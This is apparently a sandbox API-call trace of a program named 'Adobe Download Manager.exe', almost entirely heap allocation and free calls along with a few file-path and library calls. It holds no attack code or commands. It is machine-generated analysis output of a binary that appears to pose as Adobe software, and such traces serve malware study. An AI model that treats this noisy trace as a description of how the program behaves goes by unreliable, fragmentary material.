RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da18 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9daf0 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da30 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da90 | out: hHeap=0xe80000) returned 1 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db50 | out: hHeap=0xe80000) returned 1 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db38 | out: hHeap=0xe80000) returned 1 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db80 | out: hHeap=0xe80000) returned 1 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.419] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc88 | out: hHeap=0xe80000) returned 1 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9dad8 [0131.419] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9db38 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bd28 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db38 | out: hHeap=0xe80000) returned 1 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bd28 | out: hHeap=0xe80000) returned 1 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dad8 | out: hHeap=0xe80000) returned 1 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da48 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db80 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dbb0 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bcc8 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bcc8 | out: hHeap=0xe80000) returned 1 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db80 | out: hHeap=0xe80000) returned 1 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da60 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1e) returned 0xe9c280 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dce8 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c168 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bdc8 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c280 | out: hHeap=0xe80000) returned 1 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da90 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9daa8 [0131.420] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db08 [0131.420] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dce8 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc70 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9bfd8 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dbe0 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dac0 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc88 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dad8 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db80 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db38 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db50 [0131.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da48 | out: hHeap=0xe80000) returned 1 [0131.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da60 | out: hHeap=0xe80000) returned 1 [0131.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9daa8 | out: hHeap=0xe80000) returned 1 [0131.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da90 | out: hHeap=0xe80000) returned 1 [0131.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db08 | out: hHeap=0xe80000) returned 1 [0131.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.421] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9dc70 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9daa8 [0131.421] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bbe8 [0131.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9daa8 | out: hHeap=0xe80000) returned 1 [0131.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bbe8 | out: hHeap=0xe80000) returned 1 [0131.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db08 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dbb0 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dc70 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bd68 [0131.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bd68 | out: hHeap=0xe80000) returned 1 [0131.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da90 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1a) returned 0xe9c190 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dce8 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c078 [0131.422] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bbd8 [0131.422] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c190 | out: hHeap=0xe80000) returned 1 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dbb0 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dbf8 [0131.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da60 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc70 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dce8 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9c280 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da48 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9daa8 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dd78 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dd18 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dd30 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dd48 [0131.423] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9ddc0 [0131.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db08 | out: hHeap=0xe80000) returned 1 [0131.423] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da90 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbf8 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da60 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe) returned 0xe9dc70 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dce8 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bcf8 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bcf8 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9db08 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dce8 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dbb0 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bbe8 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bbe8 | out: hHeap=0xe80000) returned 1 [0131.424] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da60 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1e) returned 0xe9c190 [0131.424] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dc70 [0131.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe9e438 [0131.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bda8 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c190 | out: hHeap=0xe80000) returned 1 [0131.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dbb0 [0131.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe9dbf8 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dc70 [0131.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9dce8 [0131.425] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe9da90 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db08 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da60 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbf8 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dc70 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dce8 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da90 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bc48 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bc88 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.425] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe88568 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c658 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da60 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c5b0 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9db08 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9da90 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9dbb0 | out: hHeap=0xe80000) returned 1 [0131.426] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e940 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bcb8 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e9a0 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e9a0 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bbe8 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e958 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e988 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e9a0 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e9b8 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e940 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e988 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e958 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e9a0 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e880 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e700 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e748 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bcd8 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e790 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e868 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bd48 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e760 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe89e58 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e748 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e700 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e640 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e760 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e868 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e778 | out: hHeap=0xe80000) returned 1 [0131.427] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e790 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bdb8 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e6d0 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bd88 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe89e58 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e748 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e628 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e808 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e790 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e820 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e748 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e628 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bce8 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e6b8 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bd48 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e398 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e628 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e6d0 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e6b8 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e700 | out: hHeap=0xe80000) returned 1 [0131.428] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e748 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bdb8 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e6b8 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bca8 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe88568 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e748 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e628 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e670 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e6d0 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e6b8 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e7f0 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e700 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9e748 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c640 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bd28 | out: hHeap=0xe80000) returned 1 [0131.429] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9c4d8 | out: hHeap=0xe80000) returned 1 [0131.485] CloseHandle (hObject=0x1dc) returned 1 [0131.486] IUnknown:Release (This=0xe9c000) returned 0x0 [0131.487] FreeLibrary (hLibModule=0x2b0000) returned 1 [0131.487] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbdfad8, lpFilePart=0xbffaf8 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0xbffaf8*="Adobe Download Manager.exe") returned 0x38 [0131.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b388 [0131.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b510 [0131.487] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103ff10 [0131.487] CharUpperBuffW (in: lpsz="_ARRAYBINARYSEARCH", cchLength=0x12 | out: lpsz="_ARRAYBINARYSEARCH") returned 0x12 [0131.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107b510 | out: hHeap=0xe80000) returned 1 [0131.488] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x103ff10 | out: hHeap=0xe80000) returned 1 [0131.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103ff10 [0131.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738e0 [0131.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0x103fdc0 [0131.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105aa30 [0131.488] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073880 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739d0 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.489] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0x107b6d0 [0131.489] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x1016648 [0131.489] RtlAllocateHeap 